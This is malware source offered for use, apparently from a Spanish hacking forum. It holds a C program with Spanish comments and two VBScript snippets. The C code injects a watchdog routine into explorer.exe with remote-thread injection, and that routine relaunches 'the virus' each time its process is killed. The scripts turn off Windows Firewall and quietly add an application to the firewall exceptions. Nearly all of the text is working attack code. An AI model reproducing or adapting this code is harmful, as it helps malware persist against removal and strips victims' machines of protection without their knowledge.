#include <windows.h>

//declaramos punteros a las apis que usaremos en el codigo inyectado
//colocamos los tipos de datos que reciben y el tipo que devuelven
typedef HANDLE (WINAPI *sOpenProcess) (DWORD, BOOL, DWORD);
typedef DWORD (WINAPI *sWaitForSingleObject) (HANDLE, DWORD);
typedef BOOL (WINAPI *sCreateProcess) (LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *sCloseHandle) (HANDLE);
typedef VOID (WINAPI *sSleep) (DWORD);
typedef HANDLE (WINAPI *sCreateMutex) (LPSECURITY_ATTRIBUTES, BOOL, LPSTR);

//struct que inyectaremos en la memoria del proceso, contendra las
//direcciones de las apis que usaremos y otros datos
struct iDat
{
sCreateMutex pCreateMutex;
sOpenProcess pOpenProcess;
sWaitForSingleObject pWaitForSingleObject;
sCreateProcess pCreateProcess;
sCloseHandle pCloseHandle;
sSleep pSleep;
DWORD PID;
HANDLE hp;
int x;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char Path[MAX_PATH];
char Mutex[50];
};

//prototipos de funciones
DWORD GetAdres(char *module, char *function);
DWORD Resident(iDat *base);
int SubMain();
void Dormir();

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//si no es un win tipo NT(xp, 2000, 2003, nt) salimos
OSVERSIONINFO OSinfo;
OSinfo.dwOSVersionInfoSize=sizeof(OSinfo);
GetVersionEx(&OSinfo);
if (OSinfo.dwPlatformId!=2) return 0;

//verificamos la existencia del mutex "Resident", si ya existe
//el explorer.exe ya esta inyectado y vamos a Dormir()
//en este caso por ser un ejemplo llamamos a Dormir() para
//mantener el proceso del ejemplo
HANDLE om = OpenMutex(SYNCHRONIZE, false, "Resident");
if (om == NULL) { SubMain(); } else { Dormir(); }
return 0;
}

//esta es la funcion que inyectaremos en el proceso del explorer.exe
//observese que se accede a las api y a otros datos usando la structura
//declarada antes, ya que como esta funcion se ejecutara en la memoria de
//otro proceso, no podemos usar apis y variables directamente, porque
//no corresponderian su direccion en la memoria de nuestro proceso
//con la del proceso del explorer.exe, es decir si por ejemplo la
//funcion usa una variable tipo int en la direccion 1000 de nuestro
//proceso, al inyectar el code, la funcion usaría lo que ubiera en
//la direccion 1000 del proceso inyectado, y daria error
//la funcion recibe un puntero a una struct iDat
DWORD Resident(iDat *base)
{
//creamos el mutex "Resident" para marcar el proceso como
//inyectado
base->pCreateMutex(NULL, 0, base->Mutex);
//abrimos el proceso del virus, con permiso de sincronizacion
base->hp = base->pOpenProcess(SYNCHRONIZE, 0, base->PID);
//si error salimos
if(base->hp==0) return 0;
//esperamos a que el proceso termine(es decir si nos terminan)
base->pWaitForSingleObject(base->hp, INFINITE);
//cerramos el handle al proceso
base->pCloseHandle(base->hp);
//esperamos 1/2 seg.
base->pSleep(500);
//entramos a un bucle do que ejecutara el virus si terminan su proceso
do
{
  //ejecutamos el virus
  base->x = base->pCreateProcess(base->Path, 0, 0, 0, 0, 0, 0, 0, &base->si, &base->pi);
  //si error salimos
  if (base->x == 0) break;
  //esperamos a que el proceso termine(osea si nos terminan)
  base->pWaitForSingleObject(base->pi.hProcess, INFINITE);
  //cerramos los handles al proceso y al hilo primario del proceso
  base->pCloseHandle(base->pi.hProcess);
  base->pCloseHandle(base->pi.hThread);
  //dormimos 1/2 seg
  base->pSleep(500);
}
while(1);
return 0;
}
//funcion inyectora
int SubMain()
{
//declaramos variables
DWORD pid;
HWND hv;
HANDLE hp;
iDat dat;
DWORD TamCodigo, dw;
void *vm;
char path[MAX_PATH];
//inicializamos con ceros la struct
ZeroMemory(&dat, sizeof(iDat));

//copiamos la cadena al miembro que se usara como nombre del mutex
//al miembro .Mutex de la struct
lstrcpy(dat.Mutex, "Resident");

//obtenemos el handle a la barra de inicio(que es una ventana, gene
//rada por el explorer.exe) si estamos haciendo esto al iniciar
//la pc seria bueno poner un retardo o un contador con un for
//y con un Sleep ya que puede que el virus se ejecute y como la pc
//recien se inicia, todavia no se haya creado la barra de inicio
hv = FindWindow("Shell_TrayWnd", NULL);
//si error salimos
if (hv==0) return 1;

//obtenemos el PID del proceso que creo la barra de inicio, que sera
//el pid del explorer.exe
GetWindowThreadProcessId(hv, &pid);
//si error salimos
if (pid==0) return 1;

//abrimos el proceso del explorer.exe
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
//si error salimos
if (hp==0) return 1;

//obtenemos las direcciones de las apis que usaremos y las
//almacenamos en la struct
dat.pOpenProcess = (sOpenProcess)GetAdres("KERNEL32.DLL", "OpenProcess");
dat.pWaitForSingleObject = (sWaitForSingleObject)GetAdres("KERNEL32.DLL", "WaitForSingleObject");
dat.pCreateProcess = (sCreateProcess)GetAdres("KERNEL32.DLL", "CreateProcessA");
dat.pCloseHandle = (sCloseHandle)GetAdres("KERNEL32.DLL", "CloseHandle");
dat.pSleep = (sSleep)GetAdres("KERNEL32.DLL", "Sleep");
dat.pCreateMutex = (sCreateMutex)GetAdres("KERNEL32.DLL", "CreateMutexA");
//almacenamos en la struct nuestro pid y nuestro path tambien
dat.PID = GetCurrentProcessId();
GetModuleFileName(0,path,sizeof(path)); lstrcpy(dat.Path, path);

//reservamos espacio en el proceso para la struct, devolvera un
//puntero a la struct que indicara la direccion de memoria en el
//proceso en que sera escrita la struct
iDat *pDat= (iDat *)VirtualAllocEx(hp, 0, sizeof(iDat), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//si error salimos
if (pDat==NULL) { CloseHandle(hp); return 1; }
//escribimos la struct, si error salimos
if(!WriteProcessMemory(hp, pDat, &dat, sizeof(iDat), &dw)) goto Fuera;
//calculamos el tamaño de la funcion a inyectar, restando a la
//direccion de la funcion que esta inmediatament debajo de la
//funcion a inyectar, la direccion de la funcion a inyectar
TamCodigo = (long unsigned int)SubMain - (long unsigned int)Resident;

//reservamos espacio para la funcion, devuelve la direccion
//donde se reservo la memoria, que es donde escribiremos la
//funcion
vm = VirtualAllocEx(hp, 0, TamCodigo, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//si no error
if (vm!=NULL)
{
  //escribimos la funcion, y si no error
  if(WriteProcessMemory(hp, vm, (void*)Resident, TamCodigo, &dw))
  {
   //creamos un hilo remoto en el proceso para ejecutar la funcion
   //pasamos como argumento el puntero a la struct dat
   CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)vm, pDat, 0, NULL);
  }
}
Fuera:
//cerramos el handle al proceso
CloseHandle(hp);
//dormimos
Dormir();
return 1;
}
//obtiene la direccion de una api, indicandole la dll donde reside
// y el nombre de la funcion.
DWORD GetAdres(char *module, char *function)
{
HMODULE dh = LoadLibrary(module);
if (!dh) return 0;
DWORD pf = (DWORD)GetProcAddress(dh,function);
if (!pf) { return 0; }
FreeLibrary(dh);
return pf;
}

//funcion que duerme la ejecucion del .exe
void Dormir()
{
while(1) { Sleep(30000); }
}

'''''''''''''''''''''''
' Name: Disable_Frw.vbs
' Version: 1.0
' Author: ||MadAntrax||
' Website: foro.elhacker.net
' Payload: Disable the Windows Firewall. According to the user
' security preferences, it can appear a warning ballon.
'
'''''''''''''''''''''''

Set Firewall = CreateObject("HNetCfg.FwMgr")
Set Politica = Firewall.LocalPolicy.CurrentProfile

Politica.FirewallEnabled = FALSE

'''''''''''''''''''''''
' Name: Add_App_to_Frw.vbs
' Version: 1.0
' Author: ||MadAntrax||
' Website: foro.elhacker.net
' Payload: Add a program to the exception list of Windows Firewall
' without prompting to user.
'
'''''''''''''''''''''''

Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile

Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "ElHacker.net - Aplicación"
objApplication.IPVersion = 2
objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
objApplication.RemoteAddresses = "*"
objApplication.Scope = 0
objApplication.Enabled = True

Set colApplications = objPolicy.AuthorizedApplications
colApplications.Add(objApplication)